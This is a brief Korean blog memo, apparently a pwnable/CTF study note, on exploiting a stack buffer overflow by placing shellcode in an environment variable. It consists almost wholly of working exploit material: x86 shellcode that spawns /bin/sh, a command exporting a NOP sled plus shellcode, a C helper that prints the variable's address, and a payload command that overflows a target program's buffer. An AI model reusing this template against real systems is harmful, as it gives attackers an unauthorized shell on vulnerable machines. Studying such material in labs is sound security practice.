[SHELLCODE Example]
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

[Export SHELLCODE]
export envname=`python -c 'print "\x90"*SizeOfNOP+"SHELLCODE"'`

[Export ENVaddr]
int main(int argc, char *argv[]) {
  char *env = getenv(argv[1]);        
  printf("ENV addr =  %p\n",env);
}

[Payload Example]
./filename `python -c 'print "\x90"*SizeOfBuf+"ENVaddr"'`


'Repository > Library' 카테고리의 다른 글

[Library / Pwnable] Return To Libc Memo  (0) 2015.08.30
Posted by RevDev
,